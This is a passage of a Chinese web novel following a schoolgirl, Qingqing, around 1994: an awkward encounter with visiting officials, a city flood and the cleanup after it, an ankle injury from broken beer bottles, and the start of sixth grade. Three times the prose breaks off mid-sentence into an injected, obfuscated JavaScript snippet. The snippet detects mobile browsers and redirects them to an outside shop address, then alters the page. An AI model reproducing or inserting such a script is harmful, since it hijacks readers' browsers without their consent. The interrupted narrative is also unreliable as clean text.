“省城的领导,”云曦压低声音,神秘兮兮的,“要来视察。” 清清愣了一下。 “什么时候?” “就这两天。”云曦拉着她往楼上走,“刚才做操的时候,咱们班主任跟隔壁班老师说话,我听见的。说是省城来的,什么教育局的,还有学校的领导,好几个人呢。” 清清哦了一声。 “老师让大家都注意点,”云曦继续说,“课间别追跑打闹,别大声说话,见到老师要问好。反正就是——你懂的,那种。” 清清点点头。 她懂的。每次上面来人的时候,老师都会说这些话。走廊要干净,教室要整齐,上厕所要排队,见到人要问好。一套一套的,背都能背下来。 “没那么倒霉的,”她说,“就算来了,也不一定碰得上。” 云曦看了她一眼:“那可不一定。我妈说,这种时候越是不想碰上,越是容易碰上。” 清清没接话。 两个人上了二楼,往教室走。走廊里还是乱糟糟的,有人在追,有人在喊,有人靠着墙根晒太阳。云曦说的那些“注意形象”,好像没人听见。 上课铃响了,人群涌进教室。 清清坐在座位上,掏出课本。窗外的阳光照进来,落在课桌上,亮亮的。她盯着那道光,有点走神。 “苏清清。” 老师的声音从讲台上传过来。 她猛地回过神,抬起头。 “第三题,你来回答。” 清清站起来,看了一眼黑板。第三题,语文,组词。她张了张嘴,答出来了。 坐下的时候,旁边的云曦冲她挤了挤眼睛。 清清没理她。 第二节下课,清清想去厕所。 她站起来,往外走。走到门口的时候,云曦在后面喊:“快点回来,一会儿说不定还有事。” 清清点点头,走出教室。 走廊里人不多。刚才那节课拖堂了,下课时间已经过去一半,该去的都去了,该回来的也回来了。她一个人往走廊那头走,脚步嗒嗒的,在空荡荡的走廊里带回音。 厕所在一楼楼梯旁边。她下了楼,拐过去,进去。 出来的时候,她往上走。 刚上到二楼,拐弯的地方,脚下忽然一滑。 她没站稳,整个人往前扑,手在空中乱抓,什么也没抓着——然后膝盖磕在地上,手心撑着地,疼得她倒吸一口凉气。 “哎哟……” 她趴在那儿,半天没动。 膝盖火辣辣的疼,手心也疼。她低头看,手心里蹭破了一点皮,红红的,没出血。 她想爬起来。 刚撑起身子,一只手伸过来,扶住她的胳膊。 “没事吧?” 是个男声,低低的,有点沉。 清清抬起头。 眼前站着三个人。 两男一女。 站在最前面的是一个男的,四十多岁的样子,穿着深灰色的中山装,扣子扣到最上面一颗。他的脸很严肃,眉毛很浓,眼睛正看着她,没有笑。 扶她的是另一个男的,年轻一些,穿着白衬衫,袖子卷到手腕。他已经松开了手,站在旁边,也在看她。 女的站在后面,三十来岁,穿着深蓝色的西装,头发盘起来,脸上没什么表情。 三个人都看着她。 清清愣住了。 她不认识他们。从来没见过。 但他们的样子——那种穿着,那种站姿,那种看人的眼神——她忽然想起云曦刚才说的话。 省城的领导。 她站在那儿,手还疼着,膝盖还疼着,脑子里嗡嗡的。 “摔着哪儿了?”那个穿白衬衫的问。 清清摇摇头。 “没……没事……” 她的声音很轻,有点抖。 那个穿中山装的没有看她,他抬起头,看着旁边的墙。 墙上挂着一幅画。 那是学校走廊里常见的那种——宣纸裱的,写着几个字,画着几笔竹子。清清每天从这儿过,从来没仔细看过。她只知道那儿有幅画,不知道上面写的什么。 穿中山装的看了一会儿,然后低下头,看着她。 “小姑娘,你是这个学校的学生?” 清清点点头。 “几年级了?” “五……五年级。” 穿中山装的又看了一眼那幅画,然后问:“那上面的字,认识吗?” 清清抬起头,顺着他的目光看过去。 那幅画挂在墙上,玻璃框里。画的是几竿竹子,墨色的,瘦瘦的。旁边有几行字,毛笔写的,竖着排下来。 她认识字。但那些字—— 第一个字她认识。是“竹”。 第二个字她认识。是“影”。 第三个字也认识。是“横”。 第四个字—— 她不认识。 那是什么字?左边一个“木”,右边一个什么?她眯着眼睛看,看不清。笔画太多了,挤在一起。 “竹影横……”她念出来,然后卡住了。 那三个人都看着她。 她的脸开始发烫。 “竹影横……斜?”她试着猜。 那个穿中山装的没有说话。 她又看了一眼那个字。不是“斜”。斜字她认识,不是这个。 那是什么? “竹影横……什么?” 她急得脑子里一片空白。 然后—— “嗝。” 她打了一个嗝。 清清愣住了。 那三个人也愣了一下。 “竹影横……”她又念了一遍,“嗝。” 那个穿白衬衫的嘴角动了一下,没笑出来。那个女的看了她一眼,还是没什么表情。 穿中山装的看了她几秒,然后指了指那个字。 “这个念‘疏’。稀疏的疏。竹影横疏——意思是竹子的影子横着,稀稀疏疏的。” 清清张了张嘴。 “疏……” “对。”穿中山装的点点头,“疏密有致的疏,这个字认得吗?” 清清摇摇头。 穿中山装看着她,目光在她脸上停了一会儿。然后他转过身,对那两个人说了句什么,声音很低,清清没听清。 三个人往走廊那头走了。 清清站在那儿,看着他们的背影。 他们走得不快,脚步声轻轻的。走到走廊尽头,拐弯,不见了。 清清还站在那儿。 “嗝。” 她又打了一个嗝。 她捂住嘴,转身往教室跑。 跑到教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437410|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室门口的时候,她停下来,喘着气。 门口探出几个脑袋。 云曦的,还有后面几排的几个女生。 云曦看见她,眼睛亮了一下,然后冲她招手。 “清清快来!” 清清走过去。走到门口,那几个脑袋缩回去了。她推开门,走进去。 一进门,云曦就凑上来。 “刚才那几个人你看见了?” 清清点点头。 “你跟他们说话了?” 清清又点点头。 “说什么了?”云曦的眼睛亮亮的,“他们是谁啊?” 清清张了张嘴。 “省……省城的领导吧……” “嗝。” 她又打了一个嗝。 云曦愣了一下,然后噗嗤一声笑了。 “你打嗝了?” 清清没说话。 “你跟领导说话的时候打嗝了?” 清清点点头。 云曦笑得更厉害了,捂着嘴,肩膀一耸一耸的。 “他们什么表情?” 清清想了想。那个穿中山装的,好像没什么表情。那个穿白衬衫的,嘴角动了一下。那个女的,一直没什么表情。 “没表情。”她说。 云曦笑够了,拉着她往座位上走。 “那你跟他们说什么了?那幅画上写的什么?” 清清坐下来,把那几个字说了一遍。 “竹影横疏。”她说,“那个字念疏,我本来不认识,那个男的告诉我了。” 云曦眨眨眼睛:“你本来不认识?” 清清点点头。 “那你还站那儿那么久?” 清清没说话。 她也不知道为什么站那儿那么久。就是愣在那儿了。脑子里一片空白,什么也想不起来。 “嗝。” 又打了一个。 云曦又开始笑。 笑了一会儿,她忽然停下来,看着清清。 “那你膝盖怎么了?” 清清低头看了一眼。膝盖上蹭破了一点皮,红红的,裤子上沾着灰。 “刚才摔的。” “摔了?在哪儿摔的?” “楼梯拐角那儿。” 云曦看着她,看了几秒。然后伸手,在她肩膀上拍了一下。 “你可真行。”她说,“摔一跤,碰上领导,被提问,还打嗝。你这课间十分钟够精彩的。” 清清没说话。 她坐在那儿,手心还疼,膝盖还疼,脑子里还嗡嗡的。 云曦在旁边叽叽喳喳地说着,说着刚才怎么看见那几个人走过来,说着她们几个怎么躲在门口看,说着她看见清清站在那儿一动不动的时候,还以为出什么事了。 清清听着,没说话。 窗外又响起铃声。 下一节课要开始了。 清清坐直身子,掏出课本。 云曦在旁边翻开书,忽然又凑过来,压低声音说:“清清。” 清清转过头。 “你知道吗,刚才看你站在那儿的时候,我都想冲出去了。” 清清愣了一下。 “冲出去干什么?” 云曦想了想,挠挠头。 “不知道。反正就是想冲出去。” 清清看着她,看了两秒。 然后她转回头,看着黑板。 “谢谢你。”她说,声音很轻。 云曦没听见,已经在翻书了。 清清坐在那儿,手心还疼着,膝盖还疼着。 但她忽然觉得,有朋友关心,真好。 阳光从窗外照进来,落在课桌上,亮亮的。 45. 我们都要好好的 1994年5月。 清清是被窗外的光晃醒的。 不是阳光。是一种比平时更亮、更白的光,从窗帘缝隙里透进来,落在床尾。她躺着看了一会儿,然后爬起来,套上衣服,去洗脸刷牙。 母亲在厨房忙,听见动静,探出头来。 “醒了?早饭在桌上,吃完赶紧上学。” 清清嗯了一声,坐下来吃饭。稀饭,咸菜,一个荷包蛋。她慢慢吃着,听母亲在厨房里刷碗的声音,哗啦哗啦的。 吃完饭,背上书包,出门。 楼梯还是那个楼梯,水泥台阶,绿色栏杆。她一级一级往下跑,脚步声嗒嗒嗒的,在楼道里带回音。 跑到楼底下,站住了。 今天有点不一样。 空气里有一股味道。不是平时那种早晨的、清清爽爽的味道。是一种潮潮的、闷闷的,说不上来的味道。像是谁把一件湿衣服挂在屋里好几天,闷出来的那种味。 她没多想,往学校走。 校门口 清清站在那儿,愣住了。 校门开着,那两扇深绿色的铁栅栏门半敞着。但门口一个人也没有。 平时这个时候,门口应该挤满了人——送孩子的家长,背着书包往里跑的学生,推着自行车经过的。今天一个人也没有。 清清往门里看。 操场空荡荡的。煤渣跑道,黄土操场,篮球架,杨树,都安安静静地站在那儿。没有人。一个也没有。 她站在门口,不知道自己该不该进去。 站了一会儿,她还是往里走。 穿过操场,走到右手边那栋楼,上楼,二楼,从东边数第三间。门开着。 她走进去。 教室里只有五六个人。 平时挤得满满的三十多张课桌,这会儿空了一大半。那几个人散落在各处,有的趴在桌上,有的在说话,有的发呆。看见她进来,有人抬头看了一眼,又低下去了。 清清走到自己座位上,坐下来。 旁边的座位空着。云曦还没来。 她掏出课本,摊在桌上,眼睛盯着书,但没看进去。教室里太安静了。平时这个时候,应该是乱糟糟的——有人在大声念书,有人在追跑打闹,有人在借作业抄。今天什么都没有。 过了不知道多久,老师走进来。 是班主任。他站在讲台上,看了看底下那几个人,然后开口。 “今天不上课了。市中心发大水,好多地方淹了,学校通知放假。” 清清愣了一下。 “老师让你们都回家去,别在外面乱跑。等通知,什么时候复课再说。” 说完他就走了。 清清坐在那儿,没动。 发大水? 她没见过发大水。只在电视里看过。洪水,黄黄的,卷着东西往下冲。房子倒了,树倒了,人站在屋顶上等救。那是电视里的。很远。 她站起来,往外走。 走到校门口的时候,她停下来,往学校后面那条巷子看了一眼。 那是一条窄巷子,两边是墙,平时没人走。这会儿—— 水。 水从巷子那头漫过来,黄黄的,浑浑的,慢慢往这边淌。已经漫了一半,墙根底下那一截泡在水里,水面上漂着几片叶子,还有一根树枝,慢慢打转。 清清站在那儿,看着那水。 它流得很慢。不像电视里那样轰轰地冲过来。就是慢慢地、稳稳地往这边漫。像有什么东西在它后面推着它,一点一点往前。 她看了一会儿,转身往家走。 走到那条上坡道的时候,她停下来,回头看了一眼。 主街道在下面。 平时那条街总是有人,有车,有声音。这会儿空空荡荡的。但真正让她站住的,是远处那一片—— 黄黄的。一大片黄黄的。从市中心那个方向漫过来,漫过街道,漫过楼房的脚,漫过那些她认识的店铺的门口。水面上漂着东西,看不清是什么。 她站在坡道上,看着那片黄水。 家在这条坡道的上面。再往上走几步,就是那片空地,那些矮厨房,那栋筒子楼。水到不了这儿。坡太高了。 她站了很久。 直到身后传来声音。 “站那儿发什么呆呢?” 清清回过头。 母亲站在楼底下,手里拎着一袋菜,正看着她。 清清没说话。 母亲走过来,顺着她的目光往下看了一眼。然后收回目光,看清清。 清清站在那儿,脸上没什么表情,就是呆呆的,看着下面那片水。 母亲忍不住笑了一下。 “看什么呢?没见过发大水?” 清清摇摇头。 “好了好了,”母亲伸手拍了拍她的肩膀,“回家吧。今天不上学,就在家好好待着。作业写了没?” 清清点点头,又摇摇头。 “那就是没写。回去写作业。” 清清跟着她往家走。 走了两步,她又回头看了一眼。 那片水还在那儿,黄黄的,静静的。 她转过头,继续走。 回到家,清清把书包放好,坐到书桌前。 但她没写作业。 她趴在窗口,往外看。 从她家窗户看出去,能看见那片空地,那些矮厨房,那条上坡道。再往下看不见了,被楼挡住了。但她知道那片水在那儿。 她看了一会儿,忽然想起什么。 她爬起来,走到客厅,拿起电话。 拨号。等。 嘟——嘟——嘟—— “喂?”那头传来云曦的声音。 “云曦,你还好吗?” “没事,”云曦的声音亮亮的,“我家这儿没事,坡高着呢。你们家呢?” “也没事。” “那就好。”云曦说 清清没说话。 “喂?清清?” “在呢。” “你干嘛呢?” “没干嘛。趴窗户。” 云曦笑起来:“趴窗户看什么?” “看水。” “看得见吗?” “看不见。但知道在那儿。” 云曦笑了一声,然后说:“老师说等通知复课。什么时候通知了,你叫我。” “好。” “那我挂了啊,我妈叫我呢。” “好。” 电话挂了。 清清站在那儿,握着话筒,听了一会儿里面的忙音。然后挂上。 她又走回窗口,趴着。 楼下有人说话。是邻居家的阿姨,在跟谁说着什么。清清听见几个字——“市中心”“淹了”“一楼全完了”。 她没听清后面的话。 一周后,通知来了。 学校复课。但不去原来的学校。 “去临街那所,”老师在电话里说,“那学校淹得厉害,咱们学校组织去帮忙。带上工具,扫帚铲子都行。明天早上八点,校门口集合。” 第二天早上,清清背着书包,拿着扫帚,到校门口集合。 人到得差不多了。云曦也来了,扎着马尾,手里拎着一个铁桶。 “走啦走啦,”她拉着清清,“听说那学校可惨了,全是泥。” 一群人往临街那所学校走。 走了二十多分钟,到了。 清清站在校门口,看着里面,愣住了。 这学校和她自己的学校差不多大,一样的楼,一样的操场。但现在—— 操场上全是泥。黄黄的,厚厚的,堆得到处都是。有地方泥浅,露出底下煤渣的颜色。有地方泥深,一脚踩下去能没过脚踝。 教学楼门口,有人在往外搬东西。课桌,椅子,一摞一摞往外抬,放到操场上。 清清跟着人群往里走。 脚踩在泥里,软软的,滑滑的。每走一步都要使劲拔出来。云曦在旁边拎着铁桶,走得东倒西歪的,清清扶了她一把。 “小心点。” “没事没事。” 她们被分到一组,负责清理教室。 教室门开着,清清站在门口往里看。 地面上一层泥,厚厚的,已经半干了,裂成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云曦接过去,看了一眼封面,又看一眼。然后抬起头,看清清。 “苏清清?” 清清点点头。 云曦又看了一眼作业本,又看清清。 “你以前的?” 清清想了想。一年级的时候,她是在这个学校吗?她不记得了。她只记得自己从一年级就在现在的学校,没换过。但这个作业本上,确实是她的名字。 “可能是重名吧。”云曦说,“这学校也有叫苏清清的。” 清清没说话。 她把那本作业本翻过来,翻过去,看了很久。 然后她站起来,把作业本放回那堆东西里。 云曦看着她。 “怎么了?” 清清摇摇头。 “没怎么。” 两个人继续干活。 下午的时候,活干得差不多了。操场上的桌椅都清理完了,教室里的泥也铲出去大半。大家累得够呛,坐在操场边上喝水。 清清坐在那儿,看着那堆作业本。 阳光照在上面,照得那些皱皱巴巴的封面发着光。她看着那堆东西,忽然开口。 “云曦。” “嗯?” “我们都要好好的。” 云曦转过头看她。 清清没看她,还看着那堆作业本。 云曦看了她一会儿,然后伸出手,在她肩膀上拍了一下。 “说什么呢。”她说,“咱们当然好好的。” 清清转过头,看着她。 云曦的脸被太阳晒得有点红,额头上还有汗,眼睛亮亮的。 清清忽然笑了笑。 “嗯。” 远处有人喊她们,让过去帮忙。两个人站起来,拍拍屁股上的土,往那边走。 走过那堆作业本的时候,清清又看了一眼。 那本写着“苏清清”的作业本,躺在最上面。封面被太阳晒着,黄黄的。 她看了一眼,然后转过头,继续往前走。 太阳在天上,亮晃晃的。 46. 伤口 夏天很热。 那种热不是一下子扑过来的,是从早上就开始闷着,闷到傍晚还不肯散。太阳已经落下去了,但空气还是黏糊糊的,贴在皮肤上,像一层看不见的膜。 清清坐在门口的小板凳上,手里摇着一把蒲扇,一下一下,扇出来的风也是热的。 厨房门口的空地上,母亲正忙着。煤球炉支在那儿,火苗蓝幽幽的,舔着锅底。锅里的油滋滋响,一股葱花的香味飘过来,清清吸了吸鼻子。 “别坐着,过来帮忙剥头蒜。”母亲头也没回。 清清站起来,往那边走。刚走两步,父亲从屋里出来,手里拎着一件汗衫,边走边往头上套。 “清清。” 她停下来。 “去,坡下小卖部,买两瓶啤酒。”父亲从裤兜里掏出几张皱巴巴的钱,数了数,递给她一张,“剩下的买根冰棍。” 清清接过钱,眼睛亮了一下。 “快去快回,等你爸吃饭呢。”母亲在锅边喊。 清清把钱往裤兜里一塞,撒腿就跑。 坡道往下,她穿着那双白色凉鞋跑下坡道,嗒嗒嗒的声音,鞋底磨得有点薄了,能感觉到地上的小石子。 有人在阳台上乘凉,摇着扇子,看见她跑过去,喊了一声什么,她没听清,也没停下。 跑到坡底,右手边就是那家小卖部。 小卖部的门是老式的木门,漆成深绿色,门口有一道门槛,高高的,木头做的,边角被踩得发亮。那是关门时用来挡门的,平时开着,门槛就横在那儿,进进出出都得抬脚跨过去。 清清熟门熟路地推开门,一股凉气扑面而来。 小卖部不大,货架子挤得满满当当。靠墙立着一个大冰柜,白漆的,盖子上贴着花花绿绿的冰棍纸——娃娃头、绿豆沙、橘子冰、奶油大雪糕。清清盯着那个冰柜,眼睛有点直。 “哟,清清啊。” 老板娘坐在柜台后面,手里摇着一把大蒲扇,比清清那把大多了。她胖胖的,脸上总是带着笑,看见清清进来,冲她招招手。 “买什么?” 清清走过去,把那张钱往柜台上一拍。 “两瓶啤酒。” 老板娘接过去看了一眼,站起来,转身从后面的箱子里拎出两瓶啤酒。绿色的玻璃瓶,瓶身上挂着水珠,冰冰凉凉的。她拿一个塑料袋装上,放在柜台上。 清清没走。 她看着那个冰柜。 冰柜盖子上面贴着价签——娃娃头三毛,绿豆沙两毛,橘子冰两毛,奶油大雪糕五毛。她手里还有找回来的零钱,她攥着那些钱,手心有点出汗。 她想起父亲说的话——“剩下的买根冰棍。” 一根。 但她看着那个冰柜,脑子里想的不是一根。 娃娃头。她最喜欢娃娃头。那个戴着帽子的小人,帽子是巧克力味的,脸是奶油味的。上次吃还是什么时候?她不记得了。 但父亲今天—— 她想起父亲刚才出门时的样子。那件汗衫是旧的,领口都松了,他还在穿。他最近老是皱着眉,吃饭的时候不怎么说话。母亲说他工作上的事,她不很懂,但她知道,父亲心情不好。 一根冰棍三毛。两瓶啤酒两块四。父亲给的那张钱是五块的,应该能找回来两块三。一根冰棍三毛,还能剩两块。两块能买什么?她不知道。但那是父亲的钱。 她站在那儿,站了一会儿。 然后她开口了。 “阿姨,”她说,“我要三瓶啤酒。” 老板娘愣了一下。 “三瓶?” 清清点点头。 “你爸让你买三瓶?” 清清没说话。她把手里攥着的那些钱也递过去,那是刚才找回来的。 老板娘看了她一眼,没再问。转身又从箱子里拎出一瓶,三瓶一起装进塑料袋里。 “拿得动吗?” 清清点点头。 老板娘又看了她一眼,然后弯下腰,从冰柜里拿出一根娃娃头,递给她。 “这个算我请你。” 清清愣了一下。 “拿着呀,化了。”老板娘把冰棍往她手里一塞。 清清接过来,咬在嘴里。冰凉的,甜的,帽子的部分已经开始化了,巧克力味在舌尖上化开。 她把冰棍咬在嘴里,两只手去拎那个塑料袋。三瓶啤酒有点沉,她拎起来,调整了一下姿势,一手托着底,一手拎着口。 “慢点走啊。”老板娘在后面喊。 清清嗯了一声,推开门,往外走。 门槛。 她忘了那道门槛。 她跑得太急了,心里还想着冰棍的甜,脚下没抬够高度—— 脚尖结结实实地踢在那道木门槛上。 整个人往前扑。 两只手想撑地,但手里拎着啤酒,来不及扔。 “砰——!” 一声闷响。然后是“啪啦”几声,玻璃碎掉的声音,脆脆的,炸开。 清清趴在地上,愣了一秒。 冰棍摔出去了,骨碌碌滚到一边。啤酒瓶碎了,玻璃碴子散了一地,啤酒淌出来,白沫子翻着,淌到地上,淌到她的手上、腿上。 然后她看见自己的手。 手心扎着一块玻璃,扎进去了,血从旁边渗出来,红的。她盯着那块玻璃,盯了一秒,两秒—— 然后腿上的疼来了。 她低头看。 脚踝那儿,一道口子,很长,正在往外冒血。血淌下来,淌到鞋上,淌到地上,和那些啤酒混在一起,红的白的混成一片。 她看着那些血,看着那些玻璃碴子,看着那三瓶啤酒碎成一片,酒淌光了,只剩几块绿玻璃躺在地上,映着路灯的光。 疼。 疼得她整个人都缩起来。 她张嘴想喊,没喊出来,先哭了。 眼泪啪嗒啪嗒往下掉,砸在地上,砸在那些啤酒沫子里。她坐在那儿,抱着自己的腿,哭得一抽一抽的。 “哎呀——!” 老板娘的声音从身后传来。她跑出来了,跑得气喘吁吁的,大蒲扇不知道扔哪儿了。 “清清!清清你别动!” 她蹲下来,看清清的手,看清清的脚,看清清脸上那些眼泪和鼻涕。 “你等着,别动,我去叫你爸妈!” 她又跑了。 清清坐在那儿,抱着腿,还在哭。疼,疼得她浑身发抖。手心的玻璃她不敢拔,就那么扎着。脚踝的血还在流,淌到地上,淌成一小摊。 她低着头,看着那些血,看着那些啤酒沫子,看着那根还没吃完的冰棍躺在旁边,娃娃头的脸已经化了,一摊白水混着泥。 她哭得更大声了。 不知道过了多久,有脚步声从坡道上传下来,很急,嗒嗒嗒的。 “清清!” 母亲的声音。 清清抬起头,眼睛被眼泪糊住了,什么也看不清。就看见一个人影冲过来,蹲下来,一把把她抱住。 “怎么回事?怎么回事?” 母亲的手在她身上摸,摸到她的手,摸到她的脚,摸到那些血。母亲的手在抖。 “怎么搞的?怎么搞的?” 父亲也跑过来了。他蹲下来,看清清的手,看清清的脚,看清清那一脸的眼泪。他没说话,脸绷得紧紧的。 “得去医院,”他说,“得赶紧。” 母亲抱起清清,清清在她怀里,还在哭。父亲在旁边托着她的脚,怕碰着。 “车,叫车——”母亲的声音也在抖。 父亲跑到路边,站在那儿,冲路上挥手。 有一辆车停下来。那时候路上车少,但正好有一辆,停下来了。 父亲拉开车门,母亲抱着清清钻进去。车门关上,车开起来。 清清靠在母亲怀里,还在哭。母亲的手摸着她的头,一下一下,也在抖。 “没事的,没事的。”母亲说,声音轻轻的,像在哄她,也像在哄自己。 清清不知道开了多久。她只觉得疼,只觉得晕,只觉得眼前一花一花的。 医院到了。 急诊室的灯白白的,亮得晃眼。清清被放在一张床上,有人围过来,有人看她的手,有人看她的脚。有人在说话,说得很快,她听不清。 一个穿白大褂的人蹲下来,看她的脚。 “这个得缝。” 清清愣住了。 缝? 像缝衣服那样?用针? 她开始发抖。 “不要……”她说,“我不要缝……” 没人理她。 有人把她的手拿过去,把那块玻璃拔出来。疼得她尖叫了一声,眼泪又涌出来。然后有人往她手上抹什么,凉凉的,刺鼻的味儿。 脚那边也有人动。她不敢看,把脸埋在母亲怀里,两只手死死抓着母亲的衣服。 “别怕,别怕。”母亲的声音在头顶,也在抖。 “我不缝……”清清哭着喊,“妈妈,我不缝……” “得缝,”那个白大褂的声音,不远不近的,“口子太深,不缝好不了。” 清清哭得更大声了。 有人把她的腿按住,凉凉的,湿湿的,在伤口上擦什么。她疼得一抽一抽的,想缩腿,缩不动。 然后她听见一声“针”。 她不敢看。她把脸埋得更深,眼睛闭得紧紧的,手指攥着母亲的衣服,攥得指节发白。 第一下。 疼。 她整个人一抖,叫了一声。 “别动。”那个声音说。 她不敢动了。就趴在那儿,咬着嘴唇,眼泪一直流,流到母亲的衣服上,湿了一大块。 一下,两下,三下。 她数着。 不知道数到第几下的时候,终于停了。 “好了。” 清清睁开眼,眼泪糊了一脸,什么也看不清。她抬起没受伤的那只手,抹了一把,才看见那个白大褂正往她脚上缠纱布。一圈一圈,白白的。 “这几天别碰水,过半个月来拆线。” 母亲连声说谢谢。 清清躺在那儿,没动。她觉得整个人都软了,像被抽空了。 从医院出来的时候,天已经全黑了。 父亲抱着她,母亲在旁边跟着。街上没什么人,路灯昏黄昏黄的,把三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437412|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的影子拉得老长。 回到家,母亲把她放在床上,然后去打电话。 清清听见她在电话里说:“……老师,清清摔伤了,得请假几天……对,缝了好几针……好,好,谢谢老师……” 电话挂了。 母亲走回来,坐在床边,看着她。 清清躺在床上,那只受伤的脚被垫高了,架在一个枕头上。纱布缠得厚厚的,脚踝那儿鼓鼓囊囊的。 母亲看了她一会儿,然后伸手,在她脑门上点了一下。 “该!让你贪心。” 清清没说话。 “买两瓶啤酒,你买三瓶?”母亲看着她,“还买冰棍?跑那么快?这下好了吧?” 清清还是没说话。她抿着嘴,眼眶有点红。 母亲看着她,看着她那个样子,忽然笑了一下。不是那种真的笑,是那种又想气又想笑的。 “这个教训记住了没?” 清清往她怀里钻,脑袋拱着,像只小猫。 母亲伸手搂住她,轻轻叹了口气。 “好了好了,不说了。疼不疼?” 清清点点头。 “活该。”母亲说,但手轻轻地拍着她的背,一下一下。 那天晚上,清清睡在母亲床上。 父亲把自己的枕头被子抱到她的小床上去了。临走的时候站在门口,看着她们娘俩,站了一会儿,没说话,出去了。 清清躺在母亲旁边,受伤的脚架在枕头上,一动不敢动。母亲关了灯,屋里黑漆漆的。窗帘没拉严,有光透进来,细细的一条。 “妈妈。”清清轻轻喊。 “嗯?” “我以后不贪心了。” 母亲没说话。过了一会儿,清清感觉一只手伸过来,摸了摸她的头。 “睡吧。” 清清闭上眼睛。 第二天下午,清清躺在床上发呆,听见楼下有人喊。 “清清——!” 是云曦的声音。 母亲去开门,没一会儿,云曦就冲进来了,后面跟着她妈妈。 “清清!”云曦跑到床边,看着她那只缠满纱布的脚,眼睛瞪得圆圆的,“你怎么了?” “摔了。”清清说。 “怎么摔的?” 清清没说话。 云曦也不追问,就坐在床边,看着她那只脚。 “疼不疼?” “疼。” “缝针的时候哭了没?” 清清没说话。 云曦笑了一下,没再问。 她从书包里掏出两个作业本,一本语文,一本数学。 “这两天的作业,我给你抄来了。老师让我带给你。”她把作业本放在床头,“不会的问我,我放学先来你家,做完作业再回去。” 清清看着她。 云曦的脸上还有汗,跑来的路上热的。她的马尾辫有点歪,额前的碎发贴在脑门上。 “谢谢。”清清说。 “谢什么。”云曦站起来,拍拍手,“那你好好养着,我先回去了,我妈在楼下等我呢。” 她跑了出去,脚步声嗒嗒嗒的,一路下楼去了。 清清躺在那儿,看着床头那两个作业本,看了一会儿。 半个月后,拆线的日子。 清清被母亲带到医院。还是那个急诊室,还是那个白大褂。清清一进门就紧张,抓着母亲的衣服不撒手。 “别怕,不疼。”白大褂说。 清清不信。 白大褂坐下来,拿剪刀,把她脚上的纱布剪开。一圈一圈,缠得厚厚的纱布解下来,露出那道伤口。 清清低头看了一眼。 一道粉粉的印子,长长的,横在脚踝那儿。上面有一排细细的针脚,像缝衣服那样。 白大褂拿着小镊子,开始拆线。 一根,两根,三根。清清闭着眼睛,不敢看,攥着母亲的手,攥得紧紧的。 “好了。” 清清睁开眼。 白大褂站起来,低头看她,忽然笑了一下。 “这回没哭鼻子?” 清清没说话,脸有点红。 “行了,回去吧。别碰水,过几天就长好了。” 清清站起来,一瘸一拐地往外走。走了两步,她忍不住低头看了一眼。 脚踝那儿,那道粉粉的印子还在。细细的,长长的,那排针脚的痕迹还在,像一排小小的点点。 她皱起眉。 那个形状—— 她蹲下来,仔细看。 那道口子是竖着的,但那排针脚是横着的,一道一道,缝在口子两边。现在拆了线,那些针眼儿还在,红的,小小的,一个挨一个。 她数了数。 左边三个,右边三个,中间一道竖杠。 像一个字。 清清盯着那个形状,盯了很久。 “清清,走了。”母亲在前面喊。 她站起来,又低头看了一眼。 那个“王”字趴在她脚踝上,粉粉的,浅浅的,像谁用指甲轻轻划上去的。 她皱了皱眉。 然后一瘸一拐地跟着母亲走了。 47. 童年即将结束 上六年级了。 开学那天,清清背着书包往右手边那栋楼的四楼走。楼梯还是那个楼梯,水泥台阶,绿色栏杆,但踩上去的感觉好像不太一样。她也不知道哪儿不一样,就是觉得,跟以前不一样了。 教室在四楼,从东边数第三间。门上挂着牌子:六年一班。 她走进去,找到自己的座位,坐下来。窗外的阳光照进来,落在课桌上,亮亮的。她盯着那道光,有点走神。 旁边有人坐下来。 “想什么呢?” 云曦的脸凑过来,眼睛亮亮的。 清清摇摇头:“没想什么。” “没想什么发什么呆?” 清清没理她。 日子就这么过着,和以前一样。上课,下课,做操,放学。但大人说的话开始不一样了。 那天晚上,母亲坐在桌边择菜,清清在旁边写作业。母亲择着择着,忽然开口。 “清清。” “嗯?” “市二中的分数线,你知道大概多少吗?” 清清手里的笔停了一下。 “不知道。” 母亲把手里那根菜放下,看着她。 “去年是二百三十七分。语文数学两门,加上思想品德。你现在的成绩,自己算算能不能够着?” 清清想了想。她上次月考,语文九十二,数学八十八,思想品德九十五。加起来二百七十五。够是够的。 但她没说话。 母亲看着她那个样子,叹了口气。 “你倒是一点不着急。” 清清低头继续写作业。她不是不着急。她只是不知道着急是什么感觉。考试还没来,分数还没出,着急有什么用? 母亲也没再说什么,继续择菜。 周末的时候,清清还是和云曦一起补课。补完课回家,两个人不想那么早散,就在路上磨蹭。 那条路她们走了六年,闭着眼睛都能走。哪家的墙根底下有块石头,哪家的门口有棵歪脖子树,哪家的狗爱冲人叫,她们全知道。 走到一个小区楼下,云曦忽然停下来,指着楼门口那排门铃。 “按一下?” 清清看她一眼。 “无聊不无聊?” “无聊。”云曦笑起来,“所以按一下。” 她跑过去,伸手在一户门铃上按了一下,然后拉着清清躲到墙角。 